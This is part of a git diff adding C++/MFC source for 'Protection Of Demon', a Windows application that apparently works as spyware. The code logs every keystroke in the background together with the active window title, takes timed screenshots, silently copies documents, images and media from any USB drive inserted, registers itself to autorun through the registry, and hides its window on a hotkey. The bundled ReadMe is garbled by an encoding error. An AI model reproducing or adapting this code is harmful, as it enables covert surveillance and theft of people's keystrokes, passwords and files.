::CheckDlgButton(m_hWnd, IDC_CHECK_COPY_FILE_MP4_AVI_RMVB_MKV, BST_CHECKED); + } + + if(1 == ::GetPrivateProfileInt("Auto Run", "AutoRun", 0, lpszPrivateFilePath)) + { + ::CheckDlgButton(m_hWnd, IDC_CHECK_AUTORUN, BST_CHECKED); + } + + dwTemp = ::GetPrivateProfileString("Keyboard Record", "Keyboard Record Save Path", "", m_szKeyboardPath, MAX_PATH, lpszPrivateFilePath); + if(0 == dwTemp) + { + ::GetModuleFileName(NULL, m_szKeyboardPath, MAX_PATH); + GetCurrentFile(m_szKeyboardPath, "Keyboard Record.txt"); + } + ::SetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_KEYBOARD_RECORD_SAVE_PATH), m_szKeyboardPath); + dwTemp = ::GetPrivateProfileString("Screen Capture", "Screen Capture Save Path", "", m_szScreenCapturePath, MAX_PATH, lpszPrivateFilePath); + if(0 == dwTemp) + { + ::GetModuleFileName(NULL, m_szScreenCapturePath, MAX_PATH); + GetCurrentFile(m_szScreenCapturePath, "Screen Capture\\"); + ::CreateDirectory(m_szScreenCapturePath, NULL); + } + ::SetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_IMAGE_RECORD), m_szScreenCapturePath); + dwTemp = ::GetPrivateProfileString("U Disk Copy", "U Disk Copy Save Path", "", m_szCopyFilePath, MAX_PATH, lpszPrivateFilePath); + if(0 == dwTemp) + { + ::GetModuleFileName(NULL, m_szCopyFilePath, MAX_PATH); + GetCurrentFile(m_szCopyFilePath, "U Disk Copy\\"); + ::CreateDirectory(m_szCopyFilePath, NULL); + } + ::SetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_FILE_RECORD), m_szCopyFilePath); + + ::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_KEYBOARD_RECORD, BN_CLICKED), NULL); + ::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_AUTORUN, BN_CLICKED), NULL); + + ::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_COPY_FILE_ALL_FILES, BN_CLICKED), NULL); + ::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_COPY_FILE_EXE, BN_CLICKED), NULL); + ::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_COPY_FILE_JPG_PNG_BMP, BN_CLICKED), NULL); + ::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_COPY_FILE_DOC_DOCX, BN_CLICKED), NULL); + ::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_COPY_FILE_PPT_PPTX, BN_CLICKED), NULL); + ::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_COPY_FILE_XLS_XLSX, BN_CLICKED), NULL); + ::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_COPY_FILE_MP3_WAV, BN_CLICKED), NULL); + ::SendMessage(m_hWnd, WM_COMMAND, MAKELONG(IDC_CHECK_COPY_FILE_MP4_AVI_RMVB_MKV, BN_CLICKED), NULL); + + return TRUE; +} + + +BOOL CProtectionOfDemonDlg::GetCurrentFile(char *lpszSrc, char *lpszDest) +{ + char szBuffer[MAX_PATH] = {0}; + ::lstrcpy(szBuffer, lpszSrc); + ::PathStripPath(szBuffer); + DWORD dwLen = ::lstrlen(lpszSrc) - ::lstrlen(szBuffer); + lpszSrc[dwLen] = '\0'; + ::lstrcat(lpszSrc, lpszDest); + + return TRUE; +} + + +void CProtectionOfDemonDlg::OnBnClickedCheckKeyboardRecord() +{ + // TODO: 在此添加控件通知处理程序代码 + m_iState = ((CButton *)GetDlgItem(IDC_CHECK_KEYBOARD_RECORD))->GetCheck(); + if(1 == m_iState) // Checked + { + ::WritePrivateProfileString("Keyboard Record", "Keyboard Check", "1", m_szPrivateFilePath); + } + else // Unchecked + { + ::WritePrivateProfileString("Keyboard Record", "Keyboard Check", "0", m_szPrivateFilePath); + } +} + + +void CProtectionOfDemonDlg::OnBnClickedButtonKeyboardRecordSavePath() +{ + // TODO: 在此添加控件通知处理程序代码 + OPENFILENAME stOF; + char szKeyboardPath[MAX_PATH] = {0}; + ::RtlZeroMemory(&stOF, sizeof(stOF)); + stOF.lStructSize = sizeof(stOF); + stOF.hwndOwner = m_hWnd; + stOF.lpstrFilter = "txt files(*.txt)\0*.txt\0\0"; + stOF.lpstrFile = szKeyboardPath; + stOF.nMaxFile = MAX_PATH; + stOF.Flags = OFN_PATHMUSTEXIST; + ::GetOpenFileName(&stOF); + + ::lstrcpy(m_szKeyboardPath, szKeyboardPath); + ::SetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_KEYBOARD_RECORD_SAVE_PATH), m_szKeyboardPath); + + ::WritePrivateProfileString("Keyboard Record", "Keyboard Record Save Path", szKeyboardPath, m_szPrivateFilePath); +} + +FILE *g_fp = NULL; +LRESULT CProtectionOfDemonDlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam) +{ + // TODO: 在此添加专用代码和/或调用基类 + switch(message) + { + case WM_INITDIALOG: + { + RAWINPUTDEVICE rid; + rid.usUsagePage = 0x01; + rid.usUsage = 0x06; + rid.dwFlags = RIDEV_INPUTSINK; + rid.hwndTarget = m_hWnd; + ::RegisterRawInputDevices(&rid, 1, sizeof(rid)); + + break; + } + case WM_INPUT: + { + if(1 != m_iState) + { + break; + } + if(NULL == g_fp) + { + fopen_s(&g_fp, m_szKeyboardPath, "a+"); + } + UINT uiSize = 0; + ::GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &uiSize, sizeof(RAWINPUTHEADER)); + BYTE *lpBuf = new BYTE[uiSize]; + ::GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpBuf, &uiSize, sizeof(RAWINPUTHEADER)); + RAWINPUT *pRawInput = (RAWINPUT *)lpBuf; + if(RIM_TYPEKEYBOARD == pRawInput->header.dwType) + { + // WM_KEYDOWN --> 普通按键 WM_SYSKEYDOWN --> 系统按键(指的是ALT) + if(WM_KEYDOWN == pRawInput->data.keyboard.Message || + WM_SYSKEYDOWN == pRawInput->data.keyboard.Message) + { + char szKey[MAX_PATH] = {0}; + char szTitle[MAX_PATH] = {0}; + char szText[MAX_PATH] = {0}; +// BYTE *lpKeyState = new BYTE[0x100]; +// ::GetKeyboardState(lpKeyState); +// ::ToAscii(pRawInput->data.keyboard.VKey, 0, lpKeyState, (LPWORD)szKey, 0); + ::lstrcpy(szKey, GetKeyName(pRawInput->data.keyboard.VKey)); + HWND hForegroundWnd = ::GetForegroundWindow(); + ::GetWindowText(hForegroundWnd, szTitle, MAX_PATH); + ::wsprintf(szText, "[%s] %s\r\n", szTitle, szKey); + fseek(g_fp, 0, SEEK_END); + fwrite(szText, ::lstrlen(szText), 1, g_fp); + } + } + + break; + } + case WM_TIMER: + { + int iIdEvent = (int)wParam; + switch(iIdEvent) + { + case 1: + { + SaveScreenCapture(m_szScreenCapturePath); + break; + } + case 2: + { + char szTemp[50] = {0}; + ::wsprintf(szTemp, "%ds Left", m_dwCountTime); + ::SetWindowText(::GetDlgItem(m_hWnd, IDC_STATIC_SHUTDOWN), szTemp); + if(0 >= m_dwCountTime) + { + system("shutdown -p"); + ::KillTimer(m_hWnd, 2); + exit(0); + } + m_dwCountTime--; + break; + } + default: + break; + } + break; + } + default: + break; + } + return CDialogEx::WindowProc(message, wParam, lParam); +} + + +void CProtectionOfDemonDlg::OnReleasedcaptureSliderTime(NMHDR *pNMHDR, LRESULT *pResult) +{ + // TODO: 在此添加控件通知处理程序代码 + char szTime[MAX_PATH] = {0}; + DWORD dwTime = m_Time.GetPos(); + ::wsprintf(szTime, "%ds", dwTime); + ::SetWindowText(::GetDlgItem(m_hWnd, IDC_STATIC_TIMER), szTime); + + ::KillTimer(m_hWnd, 1); + ::SetTimer(m_hWnd, 1, 1000*dwTime, NULL); + + ::WritePrivateProfileString("Screen Capture", "Time", szTime, m_szPrivateFilePath); + + *pResult = 0; +} + + +void CProtectionOfDemonDlg::OnBnClickedButtonImageRecordSavePath() +{ + // TODO: 在此添加控件通知处理程序代码 + OPENFILENAME stOF; + char szScreenCapturePath[MAX_PATH] = {0}; + ::RtlZeroMemory(&stOF, sizeof(stOF)); + stOF.lStructSize = sizeof(stOF); + stOF.hwndOwner = m_hWnd; + stOF.lpstrFilter = "all files(*.*)\0*.*\0\0"; + stOF.lpstrFile = szScreenCapturePath; + stOF.nMaxFile = MAX_PATH; + stOF.Flags = OFN_PATHMUSTEXIST; + ::GetOpenFileName(&stOF); + + GetCurrentFile(szScreenCapturePath, ""); + ::lstrcpy(m_szScreenCapturePath, szScreenCapturePath); + ::SetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_IMAGE_RECORD), m_szScreenCapturePath); + + ::WritePrivateProfileString("Screen Capture", "Screen Capture Save Path", szScreenCapturePath, m_szPrivateFilePath); +} + + +BOOL CProtectionOfDemonDlg::SaveScreenCapture(char *lpszSavePath) +{ + char szPath[MAX_PATH] = {0}; + HWND hDesktop = ::GetDesktopWindow(); + HDC hdc = ::GetDC(hDesktop); + HDC mdc = ::CreateCompatibleDC(hdc); + DWORD dwWidth = ::GetSystemMetrics(SM_CXFULLSCREEN); + DWORD dwHeight = ::GetSystemMetrics(SM_CYFULLSCREEN); + HBITMAP bmp = ::CreateCompatibleBitmap(hdc, dwWidth, dwHeight); + HBITMAP holdbmp = (HBITMAP)::SelectObject(mdc, bmp); + ::BitBlt(mdc, 0, 0, dwWidth, dwHeight, hdc, 0, 0, SRCCOPY); + ::SelectObject(mdc, holdbmp); + + CTime time = CTime::GetCurrentTime(); + ::CreateDirectory(m_szScreenCapturePath, NULL); + ::wsprintf(szPath, "%s%.4d-%.2d-%.2d-%.2d-%.2d-%.2d.jpg", m_szScreenCapturePath, + time.GetYear(), time.GetMonth(), time.GetDay(), + time.GetHour(), time.GetMinute(), time.GetSecond()); + + CImage *pImage = new CImage; + pImage->Attach(bmp); + pImage->Save(szPath); + + delete pImage; + pImage = NULL; + ::DeleteObject(bmp); + ::DeleteDC(mdc); + ::ReleaseDC(hDesktop, hdc); + + return TRUE; +} + +void CProtectionOfDemonDlg::OnBnClickedCheckAutorun() +{ + // TODO: 在此添加控件通知处理程序代码 + char szFilePath[MAX_PATH] = {0}; + ::GetModuleFileName(NULL, szFilePath, MAX_PATH); + HKEY hKey; + ::RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_WRITE, &hKey); + int iState = ((CButton *)GetDlgItem(IDC_CHECK_AUTORUN))->GetCheck(); + if(1 == iState) // Checked + { + ::RegSetValueEx(hKey, "DemonProtectAutoRun", 0, REG_SZ, (BYTE *)szFilePath, ::lstrlen(szFilePath)); + ::WritePrivateProfileString("Auto Run", "AutoRun", "1", m_szPrivateFilePath); + } + else // Unchecked + { + ::RegDeleteValue(hKey, "DemonProtectAutoRun"); + ::WritePrivateProfileString("Auto Run", "AutoRun", "0", m_szPrivateFilePath); + } + ::RegCloseKey(hKey); +} + + +void CProtectionOfDemonDlg::OnBnClickedButtonShutdownTimer() +{ + // TODO: 在此添加控件通知处理程序代码 + char szBuf[MAX_PATH] = {0}; + ::GetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_HOUR), szBuf, MAX_PATH); + DWORD dwHour = atoi(szBuf); + ::GetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_MINUTE), szBuf, MAX_PATH); + DWORD dwMinute = atoi(szBuf); + ::GetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_SECOND), szBuf, MAX_PATH); + DWORD dwSecond = atoi(szBuf); + m_dwCountTime = dwSecond + 60*dwMinute + 60*60*dwHour; + ::KillTimer(m_hWnd, 2); + ::SetTimer(m_hWnd, 2, 1000, NULL); +} + + +void CProtectionOfDemonDlg::OnBnClickedButtonFileRecordSavePath() +{ + // TODO: 在此添加控件通知处理程序代码 + OPENFILENAME stOF; + char szCopyFilePath[MAX_PATH] = {0}; + ::RtlZeroMemory(&stOF, sizeof(stOF)); + stOF.lStructSize = sizeof(stOF); + stOF.hwndOwner = m_hWnd; + stOF.lpstrFilter = "all files(*.*)\0*.*\0\0"; + stOF.lpstrFile = szCopyFilePath; + stOF.nMaxFile = MAX_PATH; + stOF.Flags = OFN_PATHMUSTEXIST; + ::GetOpenFileName(&stOF); + + GetCurrentFile(szCopyFilePath, ""); + ::lstrcpy(m_szCopyFilePath, szCopyFilePath); + ::SetWindowText(::GetDlgItem(m_hWnd, IDC_EDIT_FILE_RECORD), m_szCopyFilePath); + + ::WritePrivateProfileString("U Disk Copy", "U Disk Copy Save Path", szCopyFilePath, m_szPrivateFilePath); +} + + +void CProtectionOfDemonDlg::OnBnClickedCheckCopyFileAllFiles() +{ + // TODO: 在此添加控件通知处理程序代码 + iState[0] = ((CButton *)GetDlgItem(IDC_CHECK_COPY_FILE_ALL_FILES))->GetCheck(); + if(1 == iState[0]) // Checked + { + ::WritePrivateProfileString("U Disk Copy", "All Files", "1", m_szPrivateFilePath); + } + else // Unchecked + { + ::WritePrivateProfileString("U Disk Copy", "All Files", "0", m_szPrivateFilePath); + } +} + + +void CProtectionOfDemonDlg::OnBnClickedCheckCopyFileExe() +{ + // TODO: 在此添加控件通知处理程序代码 + iState[1] = ((CButton *)GetDlgItem(IDC_CHECK_COPY_FILE_EXE))->GetCheck(); + if(1 == iState[1]) // Checked + { + ::WritePrivateProfileString("U Disk Copy", "exe", "1", m_szPrivateFilePath); + } + else // Unchecked + { + ::WritePrivateProfileString("U Disk Copy", "exe", "0", m_szPrivateFilePath); + } +} + + +void CProtectionOfDemonDlg::OnBnClickedCheckCopyFileJpgPngBmp() +{ + // TODO: 在此添加控件通知处理程序代码 + iState[2] = ((CButton *)GetDlgItem(IDC_CHECK_COPY_FILE_JPG_PNG_BMP))->GetCheck(); + if(1 == iState[2]) // Checked + { + ::WritePrivateProfileString("U Disk Copy", "jpg_png_bmp", "1", m_szPrivateFilePath); + } + else // Unchecked + { + ::WritePrivateProfileString("U Disk Copy", "jpg_png_bmp", "0", m_szPrivateFilePath); + } +} + + +void CProtectionOfDemonDlg::OnBnClickedCheckCopyFileDocDocx() +{ + // TODO: 在此添加控件通知处理程序代码 + iState[3] = ((CButton *)GetDlgItem(IDC_CHECK_COPY_FILE_DOC_DOCX))->GetCheck(); + if(1 == iState[3]) // Checked + { + ::WritePrivateProfileString("U Disk Copy", "doc_docx", "1", m_szPrivateFilePath); + } + else // Unchecked + { + ::WritePrivateProfileString("U Disk Copy", "doc_docx", "0", m_szPrivateFilePath); + } +} + + +void CProtectionOfDemonDlg::OnBnClickedCheckCopyFileXlsXlsx() +{ + // TODO: 在此添加控件通知处理程序代码 + iState[4] = ((CButton *)GetDlgItem(IDC_CHECK_COPY_FILE_XLS_XLSX))->GetCheck(); + if(1 == iState[4]) // Checked + { + ::WritePrivateProfileString("U Disk Copy", "xls_xlsx", "1", m_szPrivateFilePath); + } + else // Unchecked + { + ::WritePrivateProfileString("U Disk Copy", "xls_xlsx", "0", m_szPrivateFilePath); + } +} + + +void CProtectionOfDemonDlg::OnBnClickedCheckCopyFilePptPptx() +{ + // TODO: 在此添加控件通知处理程序代码 + iState[5] = ((CButton *)GetDlgItem(IDC_CHECK_COPY_FILE_PPT_PPTX))->GetCheck(); + if(1 == iState[5]) // Checked + { + ::WritePrivateProfileString("U Disk Copy", "ppt_pptx", "1", m_szPrivateFilePath); + } + else // Unchecked + { + ::WritePrivateProfileString("U Disk Copy", "ppt_pptx", "0", m_szPrivateFilePath); + } +} + + +void CProtectionOfDemonDlg::OnBnClickedCheckCopyFileMp3Wav() +{ + // TODO: 在此添加控件通知处理程序代码 + iState[6] = ((CButton *)GetDlgItem(IDC_CHECK_COPY_FILE_MP3_WAV))->GetCheck(); + if(1 == iState[6]) // Checked + { + ::WritePrivateProfileString("U Disk Copy", "mp3_wav", "1", m_szPrivateFilePath); + } + else // Unchecked + { + ::WritePrivateProfileString("U Disk Copy", "mp3_wav", "0", m_szPrivateFilePath); + } +} + + +void CProtectionOfDemonDlg::OnBnClickedCheckCopyFileMp4AviRmvbMkv() +{ + // TODO: 在此添加控件通知处理程序代码 + iState[7] = ((CButton *)GetDlgItem(IDC_CHECK_COPY_FILE_MP4_AVI_RMVB_MKV))->GetCheck(); + if(1 == iState[7]) // Checked + { + ::WritePrivateProfileString("U Disk Copy", "mp4_avi_rmvb_mkv", "1", m_szPrivateFilePath); + } + else // Unchecked + { + ::WritePrivateProfileString("U Disk Copy", "mp4_avi_rmvb_mkv", "0", m_szPrivateFilePath); + } +} + + +BOOL CProtectionOfDemonDlg::OnDeviceChange(UINT nEventType, DWORD dwData) +{ + switch(nEventType) + { + default: + { + char szDriver[4] = "A:\\"; + for(szDriver[0] = 'A'; szDriver[0] <= 'Z'; szDriver[0]++) + { + if(DRIVE_REMOVABLE == ::GetDriveType(szDriver)) + { + MYSTRUCT stMS; + stMS.lpThis = this; + ::lstrcpy(stMS.szDriver, szDriver); + ::lstrcpy(stMS.szSavePath, m_szCopyFilePath); + HANDLE hThread = ::CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)UDiskCopyThread, (LPVOID)(&stMS), 0, NULL); + ::WaitForSingleObject(hThread, INFINITE); + } + } + break; + } + } + return true; +} + + +UINT CProtectionOfDemonDlg::UDiskCopyThread(LPVOID lpVoid) +{ + MYSTRUCT *pstMS = (MYSTRUCT *)lpVoid; + CProtectionOfDemonDlg *pThis = (CProtectionOfDemonDlg *)pstMS->lpThis; + char szDriver[4] = {0}; + ::lstrcpy(szDriver, pstMS->szDriver); + szDriver[2] = '\0'; + pThis->SearchAndCopyFile(szDriver, pstMS->szSavePath); + + return 0; +} + + +void CProtectionOfDemonDlg::SearchAndCopyFile(char *strSrc, char *strDest) +{ + char *strFileName = new char[256]; + // 创建目录 + ::CreateDirectory(strDest, NULL); + // 搜索指定类型文件并复制 + ::wsprintf(strFileName, "%s\\*.*", strSrc); + WIN32_FIND_DATA FileData; + HANDLE hHandle = ::FindFirstFile(strFileName, &FileData); + if(INVALID_HANDLE_VALUE != hHandle) + { + do + { + char *strTempSrc = new char[MAX_PATH]; + char *strTempDest = new char[MAX_PATH]; + ::wsprintf(strTempSrc,"%s\\%s", strSrc, FileData.cFileName); + ::wsprintf(strTempDest,"%s\\%s", strDest, FileData.cFileName); + // 不知为何,会出现 . 字符,一定要过滤掉,否则会进入死循环里 + if('.' == FileData.cFileName[0]) + { + continue; // 过滤这两个目录 + } + // 判断是否是目录,若是目录,则进行递归遍历 + if(FileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) + { + SearchAndCopyFile(strTempSrc, strTempDest); + } + if(1 == iState[0]) // 复制所有文件 + { + ::CopyFile(strTempSrc, strTempDest, true); + } + else + { + char *strFormat = new char[10]; + // 获取文件格式 + GetFormat(FileData.cFileName, strFormat); + // exe类 + if(1 == iState[1]) + { + if(0 == ::lstrcmpi(strFormat, "exe")) + { + ::CopyFile(strTempSrc, strTempDest, true); + } + } + // 图片类 + if(1 == iState[2]) + { + if(0 == ::lstrcmpi(strFormat, "jpg") || + 0 == ::lstrcmpi(strFormat, "png") || + 0 == ::lstrcmpi(strFormat, "bmp")) + { + ::CopyFile(strTempSrc, strTempDest, true); + } + } + // Doc类 + if(1 == iState[3]) + { + if(0 == ::lstrcmpi(strFormat, "doc") || + 0 == ::lstrcmpi(strFormat, "docx")) + { + ::CopyFile(strTempSrc, strTempDest, true); + } + } + // PPT类 + if(1 == iState[4]) + { + if(0 == ::lstrcmpi(strFormat, "ppt") || + 0 == ::lstrcmpi(strFormat, "pptx")) + { + ::CopyFile(strTempSrc, strTempDest, true); + } + } + // xls类 + if(1 == iState[5]) + { + if(0 == ::lstrcmpi(strFormat, "xls") || + 0 == ::lstrcmpi(strFormat, "xlsx")) + { + ::CopyFile(strTempSrc, strTempDest, true); + } + } + // mp3类 + if(1 == iState[6]) + { + if(0 == ::lstrcmpi(strFormat, "mp3") || + 0 == ::lstrcmpi(strFormat, "wav")) + { + ::CopyFile(strTempSrc, strTempDest, true); + } + } + // mp4类 + if(1 == iState[7]) + { + if(0 == ::lstrcmpi(strFormat, "mp4") || + 0 == ::lstrcmpi(strFormat, "avi") || + 0 == ::lstrcmpi(strFormat, "rmvb") || + 0 == ::lstrcmpi(strFormat, "mkv")) + { + ::CopyFile(strTempSrc, strTempDest, true); + } + } + + delete strFormat; + strFormat = NULL; + } + delete strTempSrc; + delete strTempDest; + strTempSrc = NULL; + strTempDest = NULL; + }while(::FindNextFile(hHandle, &FileData)); + } + ::FindClose(hHandle); + + delete strFileName; + strFileName = NULL; +} + + +void CProtectionOfDemonDlg::GetFormat(char *strSrc, char *strDest) +{ + int len = strlen(strSrc); + bool bFlag = false; + int j = 0; + for(int i = 0; i < len; i++) + { + if(bFlag) + { + strDest[j++] = strSrc[i]; + } + if('.' == strSrc[i]) + { + bFlag = true; + } + } + strDest[j] = '\0'; +} + + +LRESULT CProtectionOfDemonDlg::OnHotKey(WPARAM wParam,LPARAM lParam) +{ + //wParam是注册热键的ID,lParam是关于按键的信息 + if(1000 == wParam) + { + if(m_bHidden) // 隐藏 + { + ::MoveWindow(m_hWnd, 0, 0, m_rcOldRect.right-m_rcOldRect.left, + m_rcOldRect.bottom-m_rcOldRect.top, FALSE); + ::ShowWindow(m_hWnd, SW_HIDE); + m_bHidden = FALSE; + } + else // 显示 + { + ::MoveWindow(m_hWnd, 0, 0, m_rcOldRect.right-m_rcOldRect.left, + m_rcOldRect.bottom-m_rcOldRect.top, FALSE); + ::ShowWindow(m_hWnd, SW_SHOW); + m_bHidden = TRUE; + } + } + return 0; +} \ No newline at end of file diff --git a/婧愪唬鐮/Protection Of DemonDlg.h b/婧愪唬鐮/Protection Of DemonDlg.h new file mode 100644 index 0000000..710d5c8 --- /dev/null +++ b/婧愪唬鐮/Protection Of DemonDlg.h @@ -0,0 +1,84 @@ + +// Protection Of DemonDlg.h : 头文件 +// + +#pragma once +#include "afxcmn.h" + +#include "Winuser.h" + + +typedef struct MYSTRUCT + { + LPVOID lpThis; + char szDriver[4]; + char szSavePath[MAX_PATH]; + }; + +// CProtectionOfDemonDlg 对话框 +class CProtectionOfDemonDlg : public CDialogEx +{ +private: + int m_iState; + char m_szPrivateFilePath[MAX_PATH]; + char m_szKeyboardPath[MAX_PATH]; + char m_szScreenCapturePath[MAX_PATH]; + char m_szCopyFilePath[MAX_PATH]; + DWORD m_dwCountTime; + int iState[8]; + BOOL m_bHidden; + RECT m_rcOldRect; +private: + BOOL GetPropertyFromPrivateFile(char *lpszPrivateFilePath); + BOOL GetCurrentFile(char *lpszSrc, char *lpszDest); + BOOL SaveScreenCapture(char *lpszSavePath); +public: + BOOL OnDeviceChange(UINT nEventType, DWORD dwData); + LRESULT OnHotKey(WPARAM wParam,LPARAM lParam); + static UINT UDiskCopyThread(LPVOID lpVoid); + void SearchAndCopyFile(char *strSrc, char *strDest); + void GetFormat(char *strSrc, char *strDest); + +// 构造 +public: + CProtectionOfDemonDlg(CWnd* pParent = NULL); // 标准构造函数 + +// 对话框数据 + enum { IDD = IDD_PROTECTIONOFDEMON_DIALOG }; + + protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 + + +// 实现 +protected: + HICON m_hIcon; + + // 生成的消息映射函数 + virtual BOOL OnInitDialog(); + afx_msg void OnSysCommand(UINT nID, LPARAM lParam); + afx_msg void OnPaint(); + afx_msg HCURSOR OnQueryDragIcon(); + DECLARE_MESSAGE_MAP() +public: + afx_msg void OnFileExit(); + afx_msg void OnHelpAbout(); + CSliderCtrl m_Time; + afx_msg void OnBnClickedCheckKeyboardRecord(); + virtual LRESULT WindowProc(UINT message, WPARAM wParam, LPARAM lParam); + afx_msg void OnBnClickedButtonKeyboardRecordSavePath(); +// afx_msg void OnNMCustomdrawSliderTime(NMHDR *pNMHDR, LRESULT *pResult); + afx_msg void OnReleasedcaptureSliderTime(NMHDR *pNMHDR, LRESULT *pResult); + afx_msg void OnBnClickedButtonImageRecordSavePath(); + afx_msg void OnBnClickedCheckAutorun(); + afx_msg void OnBnClickedButtonShutdownTimer(); + afx_msg void OnBnClickedButtonFileRecordSavePath(); + afx_msg void OnBnClickedCheckCopyFileAllFiles(); + afx_msg void OnBnClickedCheckCopyFileExe(); + afx_msg void OnBnClickedCheckCopyFileJpgPngBmp(); + afx_msg void OnBnClickedCheckCopyFileDocDocx(); + afx_msg void OnBnClickedCheckCopyFileXlsXlsx(); + afx_msg void OnBnClickedCheckCopyFilePptPptx(); + afx_msg void OnBnClickedCheckCopyFileMp3Wav(); + afx_msg void OnBnClickedCheckCopyFileMp4AviRmvbMkv(); +}; diff --git a/婧愪唬鐮/ReadMe.txt b/婧愪唬鐮/ReadMe.txt new file mode 100644 index 0000000..7bfca8c --- /dev/null +++ b/婧愪唬鐮/ReadMe.txt @@ -0,0 +1,70 @@ +锘================================================================================ + MICROSOFT 鍩虹绫诲簱 : Protection Of Demon 椤圭洰姒傝堪 +=============================================================================== + +搴旂敤绋嬪簭鍚戝宸蹭负鎮ㄥ垱寤轰簡姝 Protection Of Demon 搴旂敤绋嬪簭銆傛搴旂敤绋嬪簭涓嶄粎婕旂ず Microsoft 鍩虹绫荤殑鍩烘湰浣跨敤鏂规硶锛岃繕鍙綔涓烘偍缂栧啓搴旂敤绋嬪簭鐨勮捣鐐广 + +鏈枃浠舵瑕佷粙缁嶇粍鎴 Protection Of Demon 搴旂敤绋嬪簭鐨勬瘡涓枃浠剁殑鍐呭銆 + +Protection Of Demon.vcxproj + 杩欐槸浣跨敤搴旂敤绋嬪簭鍚戝鐢熸垚鐨 VC++ 椤圭洰鐨勪富椤圭洰鏂囦欢锛屽叾涓寘鍚敓鎴愯鏂囦欢鐨 Visual C++ 鐨勭増鏈俊鎭紝浠ュ強鏈夊叧浣跨敤搴旂敤绋嬪簭鍚戝閫夋嫨鐨勫钩鍙般侀厤缃拰椤圭洰鍔熻兘鐨勪俊鎭 + +Protection Of Demon.vcxproj.filters + 杩欐槸浣跨敤鈥滃簲鐢ㄧ▼搴忓悜瀵尖濈敓鎴愮殑 VC++ 椤圭洰绛涢夊櫒鏂囦欢銆傚畠鍖呭惈鏈夊叧椤圭洰鏂囦欢涓庣瓫閫夊櫒涔嬮棿鐨勫叧鑱斾俊鎭傚湪 IDE 涓紝閫氳繃杩欑鍏宠仈锛屽湪鐗瑰畾鑺傜偣涓嬩互鍒嗙粍褰㈠紡鏄剧ず鍏锋湁鐩镐技鎵╁睍鍚嶇殑鏂囦欢銆備緥濡傦紝鈥.cpp鈥濇枃浠朵笌鈥滄簮鏂囦欢鈥濈瓫閫夊櫒鍏宠仈銆 + +Protection Of Demon.h + 杩欐槸搴旂敤绋嬪簭鐨勪富澶存枃浠躲 + 鍏朵腑鍖呮嫭鍏朵粬椤圭洰鐗瑰畾鐨勬爣澶达紙鍖呮嫭 Resource.h锛夛紝骞跺0鏄 CProtectionOfDemonApp 搴旂敤绋嬪簭绫汇 + +Protection Of Demon.cpp + 杩欐槸鍖呭惈搴旂敤绋嬪簭绫 CProtectionOfDemonApp 鐨勪富搴旂敤绋嬪簭婧愭枃浠躲 + +Protection Of Demon.rc + 杩欐槸绋嬪簭浣跨敤鐨勬墍鏈 Microsoft Windows 璧勬簮鐨勫垪琛ㄣ傚畠鍖呮嫭 RES 瀛愮洰褰曚腑瀛樺偍鐨勫浘鏍囥佷綅鍥惧拰鍏夋爣銆傛鏂囦欢鍙互鐩存帴鍦 Microsoft Visual C++ 涓繘琛岀紪杈戙傞」鐩祫婧愬寘鍚湪 2052 涓 + +res\Protection Of Demon.ico + 杩欐槸鐢ㄤ綔搴旂敤绋嬪簭鍥炬爣鐨勫浘鏍囨枃浠躲傛鍥炬爣鍖呮嫭鍦ㄤ富璧勬簮鏂囦欢 Protection Of Demon.rc 涓 + +res\ProtectionOfDemon.rc2 + 姝ゆ枃浠跺寘鍚笉鍦 Microsoft Visual C++ 涓繘琛岀紪杈戠殑璧勬簮銆傛偍搴旇灏嗕笉鍙敱璧勬簮缂栬緫鍣ㄧ紪杈戠殑鎵鏈夎祫婧愭斁鍦ㄦ鏂囦欢涓 + + +///////////////////////////////////////////////////////////////////////////// + +搴旂敤绋嬪簭鍚戝鍒涘缓涓涓璇濇绫伙細 + +Protection Of DemonDlg.h銆丳rotection Of DemonDlg.cpp - 瀵硅瘽妗 + 杩欎簺鏂囦欢鍖呭惈 CProtectionOfDemonDlg 绫汇傛绫诲畾涔夊簲鐢ㄧ▼搴忕殑涓诲璇濇鐨勮涓恒傚璇濇妯℃澘鍖呭惈鍦 Protection Of Demon.rc 涓紝璇ユ枃浠跺彲浠ュ湪 Microsoft Visual C++ 涓紪杈戙 + +///////////////////////////////////////////////////////////////////////////// + +鍏朵粬鍔熻兘锛 + +ActiveX 鎺т欢 + 璇ュ簲鐢ㄧ▼搴忓寘鍚浣跨敤 ActiveX 鎺т欢鐨勬敮鎸併 + +Windows 濂楁帴瀛 + 搴旂敤绋嬪簭鍖呭惈瀵归氳繃 TCP/IP 缃戠粶寤虹珛閫氫俊鐨勬敮鎸併 + +///////////////////////////////////////////////////////////////////////////// + +鍏朵粬鏍囧噯鏂囦欢: + +StdAfx.h, StdAfx.cpp + 杩欎簺鏂囦欢鐢ㄤ簬鐢熸垚鍚嶄负 Protection Of Demon.pch 鐨勯缂栬瘧澶 (PCH) 鏂囦欢鍜屽悕涓 StdAfx.obj 鐨勯缂栬瘧绫诲瀷鏂囦欢銆 + +Resource.h + 杩欐槸鏍囧噯澶存枃浠讹紝鍙敤浜庡畾涔夋柊鐨勮祫婧 